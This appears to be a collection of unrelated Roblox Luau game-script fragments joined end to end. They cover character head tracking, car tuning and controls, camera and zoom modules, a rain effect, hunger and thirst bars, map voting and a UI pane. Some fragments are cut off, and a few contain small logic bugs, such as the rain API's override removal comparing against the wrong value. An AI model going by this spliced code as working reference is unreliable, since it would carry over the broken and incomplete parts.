Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2) end else local Point = Mouse.Hit.p Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y if not IsR6 then Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2) end end end end end if TurnCharacterToMouse == true then Hum.AutoRotate = false Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2) else Hum.AutoRotate = true end end)
--// initialize manual-click left button //--
script.Parent.LeftButton.Button.MouseButton1Click:connect(function(left) moveLeft() end)
--Variables--
local set = script.Settings local sp = set.Speed local enabled = set.Enabled local hum = script.Parent:WaitForChild("Humanoid") local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation")) if enabled.Value == true then humanim:Play() humanim.Looped = true humanim:AdjustSpeed(sp.Value) end
--------END STAGE-------- --------CREW--------
game.Workspace.crewp1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value).."" game.Workspace.crewp2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value).."" game.Workspace.crewp3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.LeftBackground.Value).."" game.Workspace.crewp4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.RightBackground.Value)..""
--[[Engine]]
--Torque Curve Tune.Horsepower = 450 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 100 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[ Shorthand for a done handler that returns the given value. ]]
function Promise.prototype:doneReturn(...) local length, values = pack(...) return self:_finally(debug.traceback(nil, 2), function() return unpack(values, 1, length) end, true) end Promise.prototype.DoneReturn = Promise.prototype.doneReturn
-- perform the update loop
if rigtype == "R15" then -- do the r15 update loop stepped_con = game:GetService("RunService").RenderStepped:connect(function() -- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly checkfirstperson() -- update loop if isfirstperson == true then -- make arms visible visiblearms(true) -- update walk sway if we are walking if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then walksway = walksway:lerp( CFrame.new( (0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)), (0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)), 0 )* CFrame.Angles( 0, 0, (-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)) ) ,0.1*sensitivity) else walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity) end -- local delta = uis:GetMouseDelta() if includecamerasway then sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity) end -- if includestrafe then strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity) end -- if includejumpsway then jumpsway = jumpswaygoal.Value end -- update animation transform for viewmodel rightshoulderclone.Transform = rightshoulder.Transform leftshoulderclone.Transform = leftshoulder.Transform if firstperson_waist_movements_enabled then waistclone.Transform = waist.Transform end -- cframe the viewmodel local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-headoffset))+camera.CFrame.LookVector*0+(camera.CFrame.RightVector*-(sway.X*swaysize)/75) viewmodel:SetPrimaryPartCFrame(finalcf) end end) elseif rigtype == "R6" then -- do the R6 update loop stepped_con = game:GetService("RunService").RenderStepped:connect(function() -- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly checkfirstperson() -- update loop if isfirstperson == true then -- make arms visible visiblearms(true) -- update walk sway if we are walking if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then walksway = walksway:lerp( CFrame.new( (0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)), (0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)), 0 )* CFrame.Angles( 0, 0, (-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)) ) ,0.2*sensitivity) else walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity) end -- local delta = uis:GetMouseDelta() -- if includecamerasway then sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity) end -- if includestrafe then strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity) end -- if includejumpsway == true then jumpsway = jumpswaygoal.Value end -- update animation transform for viewmodel rightshoulderclone.Transform = rightshoulder.Transform leftshoulderclone.Transform = leftshoulder.Transform -- cframe the viewmodel local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-headoffset))+camera.CFrame.LookVector*0+(camera.CFrame.RightVector*-(sway.X*swaysize)/75) viewmodel:SetPrimaryPartCFrame(finalcf) end end) end
-- Check if character is there
if script.Owner.Value.Character ~= nil and script.Owner.Value.Character:FindFirstChild("Humanoid") ~= nil then -- Record base walkspeed local baseWalkSpeed = script.Owner.Value.Character.Humanoid.WalkSpeed -- Make it to change the walkspeed on knife entry/exit script.Owner.Value.Character.ChildAdded:connect(function(child) if child.Name == "Knife" and script.Owner.Value.Character:FindFirstChild("Humanoid") and script.Owner.Value.Character.Humanoid.WalkSpeed == baseWalkSpeed then script.Owner.Value.Character.Humanoid.WalkSpeed = baseWalkSpeed * WALKSPEED_CHANGE end end) script.Owner.Value.Character.ChildRemoved:connect(function(child) if child.Name == "Knife" and script.Owner.Value.Character:FindFirstChild("Humanoid") and script.Owner.Value.Character.Humanoid.WalkSpeed ~= baseWalkSpeed then script.Owner.Value.Character.Humanoid.WalkSpeed = baseWalkSpeed end end) end
-- Touched events
F_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('front', x) end) FL_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('frontleft', x) end) FR_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('frontright', x) end) R_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('right', x) end) L_Detector.Touched:Connect(function(x) speedVar = ((math.floor(((10/12) * (60/88)) * script.Parent.Parent:WaitForChild('A-Chassis Interface').Values.Velocity.Value.Magnitude))) handle('left', x) end)
-- May return NaN or inf or -inf -- This is a way of finding the angle between the two vectors:
local function findAngleBetweenXZVectors(vec2, vec1) return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end local function CreateClassicCamera() local module = RootCameraCreator() local tweenAcceleration = math.rad(220) local tweenSpeed = math.rad(0) local tweenMaxSpeed = math.rad(250) local timeBeforeAutoRotate = 2 local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 0.1 local thumbstickSensitivity = 1 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.8 local lastVelocity = nil local lastUpdate = tick() module.LastUserPanCamera = tick() function module:Update() local now = tick() local userPanningTheCamera = (self.UserPanningTheCamera == true) local camera = workspace.CurrentCamera local player = PlayersService.LocalPlayer local humanoid = self:GetHumanoid() local cameraSubject = camera and camera.CameraSubject local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat') local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform') if lastUpdate == nil or now - lastUpdate > 1 then module:ResetCameraLook() self.LastCameraTransform = nil end if lastUpdate then -- Cap out the delta to 0.5 so we don't get some crazy things when we re-resume from local delta = math.min(0.5, now - lastUpdate) local angle = 0 if not (isInVehicle or isOnASkateboard) then angle = angle + (self.TurningLeft and -120 or 0) angle = angle + (self.TurningRight and 120 or 0) end local gamepadRotation = self:UpdateGamepad() if gamepadRotation ~= Vector2.new(0,0) then userPanningTheCamera = true self.RotateInput = self.RotateInput + gamepadRotation end if angle ~= 0 then userPanningTheCamera = true self.RotateInput = self.RotateInput + Vector2.new(math.rad(angle * delta), 0) end end -- Reset tween speed if user is panning if userPanningTheCamera then tweenSpeed = 0 module.LastUserPanCamera = tick() end local userRecentlyPannedCamera = now - module.LastUserPanCamera < timeBeforeAutoRotate local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraZoom() if zoom < 0.5 then zoom = 0.5 end if self:GetShiftLock() and not self:IsInFirstPerson() then -- We need to use the right vector of the camera after rotation, not before local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) local offset = ((newLookVector * XZ_VECTOR):Cross(UP_VECTOR).unit * 1.75) if IsFiniteVector3(offset) then subjectPosition = subjectPosition + offset end else if self.LastCameraTransform and not userPanningTheCamera then local isInFirstPerson = self:IsInFirstPerson() if (isInVehicle or isOnASkateboard) and lastUpdate and humanoid and humanoid.Torso then if isInFirstPerson then if self.LastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then local y = -findAngleBetweenXZVectors(self.LastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector) if IsFinite(y) then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end tweenSpeed = 0 end elseif not userRecentlyPannedCamera then local forwardVector = humanoid.Torso.CFrame.lookVector if isOnASkateboard then forwardVector = cameraSubject.CFrame.lookVector end local timeDelta = (now - lastUpdate) tweenSpeed = clamp(0, tweenMaxSpeed, tweenSpeed + tweenAcceleration * timeDelta) local percent = clamp(0, 1, tweenSpeed * timeDelta) if self:IsInFirstPerson() then percent = 1 end local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook()) if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y * percent, 0) end end end end end local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) self.RotateInput = Vector2.new() camera.Focus = CFrame.new(subjectPosition) camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p) self.LastCameraTransform = camera.CoordinateFrame if isInVehicle or isOnASkateboard and cameraSubject:IsA('BasePart') then self.LastSubjectCFrame = cameraSubject.CFrame else self.LastSubjectCFrame = nil end end lastUpdate = now end return module end return CreateClassicCamera
-- i know this is a bad code ♥♦♣♠
local toggle1 = false local deb1 = false local toggle2 = false local deb2 = false local function drawer1() if not deb1 then deb1 = true local anim if not toggle1 then anim = TS:Create(cab1,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab1.CFrame * CFrame.new(0,0,.95)}) else anim = TS:Create(cab1,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab1.CFrame * CFrame.new(0,0,-.95)}) end anim.Completed:Connect(function() toggle1 = not toggle1 deb1 = false end) anim:Play() end end local function drawer2() if not deb2 then deb2 = true local anim if not toggle2 then anim = TS:Create(cab2,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab2.CFrame * CFrame.new(0,0,.95)}) else anim = TS:Create(cab2,TweenInfo.new(.6,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),{CFrame = cab2.CFrame * CFrame.new(0,0,-.95)}) end anim.Completed:Connect(function() toggle2 = not toggle2 deb2 = false end) anim:Play() end end CD1.MouseClick:Connect(function() drawer1() end) CD1_2.MouseClick:Connect(function() drawer1() end) CD2.MouseClick:Connect(function() drawer2() end) CD2_2.MouseClick:Connect(function() drawer2() end)
--Input Handler
function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Toggle PBrake if _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or input.KeyCode==_CTRL["PBrake"] then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Throttle elseif _IsOn and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = 0 end --Brake elseif (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end --Steer Left elseif (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = input.Position.Z --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = 0 _GSteerT = 0 _GBrake = 0 end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput) while wait() do script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake end
--[[ This function is used to get all of the AccessoryTypes that are used by the items in state so that we have a list of possible filters that always return at least one item. ]]
local MerchBooth = script:FindFirstAncestor("MerchBooth") local matchAssetTypeToAccessoryType = require(MerchBooth.Modules.matchAssetTypeToAccessoryType) local serverReducer = require(MerchBooth.Reducers.serverReducer) local types = require(MerchBooth.types) local function getAvailableAccessoryTypes(itemInfo: serverReducer.ItemInfoState): { types.ProductType } local accessoryTypeDict: { [types.ProductType]: boolean } = {} local accessoryTypes: { types.ProductType } = {} for _, item in pairs(itemInfo) do if item.productType == Enum.InfoType.Asset then accessoryTypeDict[matchAssetTypeToAccessoryType(item.assetType)] = true else accessoryTypeDict[item.productType] = true end end for accessoryType in pairs(accessoryTypeDict) do table.insert(accessoryTypes, accessoryType) end return accessoryTypes end return getAvailableAccessoryTypes
--APPEARANCE
local RainThickness = 0.1 --Thickness of the rain drops in studs local RainLength = 5 --Length of the rain drop in studs local RainTransparency = 0.8 --Transparency of the rain local TrailPerPart = 4 --Amount of trails adorned to one part local TrailPartRadius = 10 --Max radius from the part a trail can be adorned local TrailYOffset = 20 --Max Y offset a trail can have local RainParent = Instance.new("Folder") RainParent.Name = "Rain" RainParent.Parent = game.Workspace.CurrentCamera local RainPart = Instance.new("Part") RainPart.Transparency = 1 RainPart.Size = Vector3.new(0.2,0.2,0.2) RainPart.Anchored = true RainPart.CanCollide = false RainPart.TopSurface = "Smooth" RainPart.BottomSurface = "Smooth" local function AdornRandomTrailToPart() local RandomCenterX,RandomCenterZ = math.random(-TrailPartRadius,TrailPartRadius),math.random(-TrailPartRadius,TrailPartRadius) local YOffset = math.random(0,TrailYOffset) local Attahcment1 = Instance.new("Attachment") Attahcment1.Position = Vector3.new(RandomCenterX - RainThickness/2,YOffset,RandomCenterZ) Attahcment1.Parent = RainPart local Attahcment2 = Instance.new("Attachment") Attahcment2.Position = Vector3.new(RandomCenterX + RainThickness/2,YOffset,RandomCenterZ) Attahcment2.Parent = RainPart local Trail = Instance.new("Trail") Trail.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,RainTransparency,0),NumberSequenceKeypoint.new(1,1)}) Trail.Attachment0 = Attahcment1 Trail.Attachment1 = Attahcment2 Trail.Lifetime = RainLength/RainFallSpeed Trail.Parent = RainPart end for _ = 1, TrailPerPart do AdornRandomTrailToPart() end local Camera = game.Workspace.CurrentCamera local RenderStepped = game:GetService("RunService").RenderStepped local RainRadiusDiv2 = RainRadius/2 local RainPartClone = RainPart.Clone local CFramenew,CFrameAngles = CFrame.new,CFrame.Angles local random = math.random local RenderSteppedConnect = RenderStepped.Connect local RainAPI = {} local OverridenRegions = {} local CurrentOverrideId = 0 local CurrentCreateEvent local function CreateRainDrop(StartX,StartY,StartZ,EndX,EndY,EndZ,Rotation) local StartCF,EndCF = CFramenew(StartX,StartY,StartZ) * Rotation,CFramenew(EndX,EndY,EndZ) * Rotation local LerpFunction = StartCF.lerp local function GetCFrame(Alpha) return LerpFunction(StartCF,EndCF,Alpha) end local NewDrop = RainPartClone(RainPart) NewDrop.CFrame = StartCF NewDrop.Parent = RainParent local FallTime = (StartY - EndY)/RainFallSpeed local StartTime = tick() local RenderSteppedEvent RenderSteppedEvent = RenderSteppedConnect(RenderStepped,function() local Alpha = (tick() - StartTime)/FallTime if Alpha > 1 then NewDrop:Destroy() RenderSteppedEvent:disconnect() else NewDrop.CFrame = GetCFrame(Alpha) end end) end local function SpawnRainDrop(CenterX,CenterZ) local X,Z = CenterX + random(-RainRadiusDiv2,RainRadiusDiv2),CenterZ + random(-RainRadiusDiv2,RainRadiusDiv2) local StartY,EndY = StartY,DefaultEndY for i = 1, #OverridenRegions do local RegionData = OverridenRegions[i] if X > RegionData[1] and Z > RegionData[2] and X < RegionData[3] and Z < RegionData[4] then EndY = RegionData[5] break end end local FallTime = (StartY - EndY)/RainFallSpeed local WindOffsetX,WindOffsetZ = (FallTime * WindSpeedX)/2,(FallTime * WindSpeedZ)/2 CreateRainDrop(X - WindOffsetX,StartY,Z - WindOffsetZ,X + WindOffsetX,EndY,Z + WindOffsetZ,CFrameAngles(0,random(),0)) end local function StopRain() if CurrentCreateEvent then CurrentCreateEvent:Disconnect() end end local function StartRain() StopRain() CurrentCreateEvent = RenderSteppedConnect(RenderStepped,function(Delta) local CameraPosition = Camera.CFrame.p local X,Z = CameraPosition.X,CameraPosition.Z for _ = 1, RainGroupsPerSecond * Delta do SpawnRainDrop(X,Z) end end) end function RainAPI:AddOverrideRegion(X1,Z1,X2,Z2,OverrideY) CurrentOverrideId = CurrentOverrideId + 1 local Id = CurrentOverrideId table.insert(OverridenRegions,{X1 - TrailPartRadius,Z1 - TrailPartRadius,X2 + TrailPartRadius,Z2 + TrailPartRadius,OverrideY,Id}) return Id end function RainAPI:RemoveOverrideRegion(Id) for i,RegionData in pairs(OverridenRegions) do if RegionData[6] == i then table.remove(OverridenRegions,i) end end end function RainAPI:StartRain() StartRain() end function RainAPI:StopRain() StopRain() end function RainAPI:SetWindSpeed(X,Z) WindSpeedX = X WindSpeedZ = Z end function RainAPI:GetWindSpeed() return WindSpeedX,WindSpeedZ end function RainAPI:SetRainGroupsPerSecond(NewRainGroupsPerSecond) RainGroupsPerSecond = NewRainGroupsPerSecond end function RainAPI:GetRainGroupsPerSecond() return RainGroupsPerSecond end return RainAPI
--local Text = thirstGui:WaitForChild("Back"):WaitForchild("Text")
local plr = game.Players.LocalPlayer repeat wait() until plr.Character -- waiting for player to load local UIS = game:GetService("UserInputService") local hum = plr.Character:WaitForChild("Humanoid") local maxThirst = 100 local maxHunger = 100 local thirstValue local hungerValue if plr:FindFirstChild("HungerVal") then hungerValue = plr.HungerVal hungerValue.Value = maxHunger else Instance.new("IntValue", plr).Name = "HungerVal" plr.HungerVal.Value = maxHunger hungerValue = plr.HungerVal end if plr:FindFirstChild("ThirstVal") then thirstValue = plr.ThirstVal thirstValue.Value = maxThirst else Instance.new("IntValue", plr).Name = "ThirstVal" plr.ThirstVal.Value = maxThirst thirstValue = plr.ThirstVal end local hungerValue = plr:WaitForChild("HungerVal") local Frame = thirstGui.Frame local TS = game:GetService("TweenService") thirstValue.Changed:connect(function() script.Parent.Frame.Sede.ImageTransparency = 0 script.Parent.Frame.Fome.ImageTransparency = 0 if thirstValue.Value > 60 then TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,255),ImageTransparency = 1}):Play() elseif thirstValue.Value <= 0 then MedicSys.Fome:FireServer() elseif thirstValue.Value <= 30 then TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,((thirstValue.Value/30)*255),((thirstValue.Value/60)*255)),ImageTransparency = 0}):Play() elseif thirstValue.Value <= 60 then TS:Create(Frame.Sede,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,((thirstValue.Value/60)*255)),ImageTransparency = 0}):Play() end end) hungerValue.Changed:connect(function() if hungerValue.Value > 60 then TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,255),ImageTransparency = 1}):Play() elseif hungerValue.Value <= 0 then MedicSys.Fome:FireServer() elseif hungerValue.Value <= 30 then TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,((hungerValue.Value/30)*255),((hungerValue.Value/60)*255)),ImageTransparency = 0}):Play() elseif hungerValue.Value <= 60 then TS:Create(Frame.Fome,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{ImageColor3 = Color3.fromRGB(255,255,((hungerValue.Value/60)*255)),ImageTransparency = 0}):Play() end end) coroutine.wrap(function() while wait(ServerConfig.HungerWaitTime) do if hungerValue.Value - 1 >= 0 then hungerValue.Value = hungerValue.Value - 1 end end end)() coroutine.wrap(function() while wait(ServerConfig.ThirstWaitTime) do if thirstValue.Value - 1 >= 0 then thirstValue.Value = thirstValue.Value - 1 end end end)
-- if you have any questions, feel free to contact me on twitter or discord
-- goro7
local voteStates = game.ServerStorage.States.MapVote voteStates.CurrentlyVoting.Changed:connect(function() -- Adjust visiblity local newVal = voteStates.CurrentlyVoting.Value script.Parent.Image.Visible = newVal script.Parent.CountLabel.Visible = newVal script.Parent.MapName.Visible = newVal script.Parent.Count.Visible = newVal end) voteStates.Map1.Changed:connect(function() -- Update map name and image local newMap = voteStates.Map1.Value script.Parent.Image.Image = newMap.ImageAsset.Value script.Parent.MapName.Text = newMap.Name end) voteStates.Count1.Changed:connect(function() -- Update map count script.Parent.Count.Text = voteStates.Count1.Value end)
--!strict -- Zoom -- Controls the distance between the focus and the camera.
local ZOOM_STIFFNESS = 4.5 local ZOOM_DEFAULT = 12.5 local ZOOM_ACCELERATION = 0.0375 local MIN_FOCUS_DIST = 0.5 local DIST_OPAQUE = 1 local Popper = require(script:WaitForChild("Popper")) local clamp = math.clamp local exp = math.exp local min = math.min local max = math.max local pi = math.pi local cameraMinZoomDistance, cameraMaxZoomDistance do local Player = game:GetService("Players").LocalPlayer local function updateBounds() cameraMinZoomDistance = Player.CameraMinZoomDistance cameraMaxZoomDistance = Player.CameraMaxZoomDistance end updateBounds() Player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(updateBounds) Player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(updateBounds) end local ConstrainedSpring = {} do ConstrainedSpring.__index = ConstrainedSpring function ConstrainedSpring.new(freq: number, x: number, minValue: number, maxValue: number) x = clamp(x, minValue, maxValue) return setmetatable({ freq = freq, -- Undamped frequency (Hz) x = x, -- Current position v = 0, -- Current velocity minValue = minValue, -- Minimum bound maxValue = maxValue, -- Maximum bound goal = x, -- Goal position }, ConstrainedSpring) end function ConstrainedSpring:Step(dt: number) local freq = self.freq :: number * 2 * pi -- Convert from Hz to rad/s local x: number = self.x local v: number = self.v local minValue: number = self.minValue local maxValue: number = self.maxValue local goal: number = self.goal -- Solve the spring ODE for position and velocity after time t, assuming critical damping: -- 2*f*x'[t] + x''[t] = f^2*(g - x[t]) -- Knowns are x[0] and x'[0]. -- Solve for x[t] and x'[t]. local offset = goal - x local step = freq*dt local decay = exp(-step) local x1 = goal + (v*dt - offset*(step + 1))*decay local v1 = ((offset*freq - v)*step + v)*decay -- Constrain if x1 < minValue then x1 = minValue v1 = 0 elseif x1 > maxValue then x1 = maxValue v1 = 0 end self.x = x1 self.v = v1 return x1 end end local zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance) local function stepTargetZoom(z: number, dz: number, zoomMin: number, zoomMax: number) z = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax) if z < DIST_OPAQUE then z = dz <= 0 and zoomMin or DIST_OPAQUE end return z end local zoomDelta = 0 local Zoom = {} do function Zoom.Update(renderDt: number, focus: CFrame, extrapolation) local poppedZoom = math.huge if zoomSpring.goal > DIST_OPAQUE then -- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam local maxPossibleZoom = max( zoomSpring.x, stepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance) ) -- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom] poppedZoom = Popper( focus*CFrame.new(0, 0, MIN_FOCUS_DIST), maxPossibleZoom - MIN_FOCUS_DIST, extrapolation ) + MIN_FOCUS_DIST end zoomSpring.minValue = MIN_FOCUS_DIST zoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom) return zoomSpring:Step(renderDt) end function Zoom.GetZoomRadius() return zoomSpring.x end function Zoom.SetZoomParameters(targetZoom, newZoomDelta) zoomSpring.goal = targetZoom zoomDelta = newZoomDelta end function Zoom.ReleaseSpring() zoomSpring.x = zoomSpring.goal zoomSpring.v = 0 end end return Zoom
--Experimental Feature
script.Parent.Disabled = true wait(1) for i,l in pairs(script.Parent.Parent.Car.Welds:GetChildren()) do l:Destroy() end wait(1) script.Parent.Disabled = false script.Disabled = true
-- Create component
local SelectionPane = Roact.PureComponent:extend(script.Name) function SelectionPane:init() self.Maid = Maid.new() self.PaneSize, self.SetPaneSize = Roact.createBinding(UDim2.new()) self:UpdateHistoryState() self.Maid.TrackHistory = self.props.Core.History.Changed:Connect(function () self:UpdateHistoryState() end) self:UpdateSelectionState() self.Maid.TrackSelection = self.props.Core.Selection.Changed:Connect(function () self:UpdateSelectionState() end) self:UpdateExplorerState() self.Maid.TrackExplorer = self.props.Core.ExplorerVisibilityChanged:Connect(function () self:UpdateExplorerState() end) end function SelectionPane:UpdateHistoryState() self:setState({ CanUndo = (self.props.Core.History.Index > 0); CanRedo = (self.props.Core.History.Index ~= #self.props.Core.History.Stack); }) end function SelectionPane:UpdateSelectionState() self:setState({ IsSelectionEmpty = (#self.props.Core.Selection.Items == 0); }) end function SelectionPane:UpdateExplorerState() self:setState({ IsExplorerOpen = self.props.Core.ExplorerVisible; }) end function SelectionPane:willUnmount() self.Maid:Destroy() end function SelectionPane:render() return new('Frame', { BackgroundTransparency = 0.7; BackgroundColor3 = Color3.fromRGB(0, 0, 0); BorderSizePixel = 0; Size = self.PaneSize; LayoutOrder = self.props.LayoutOrder; }, 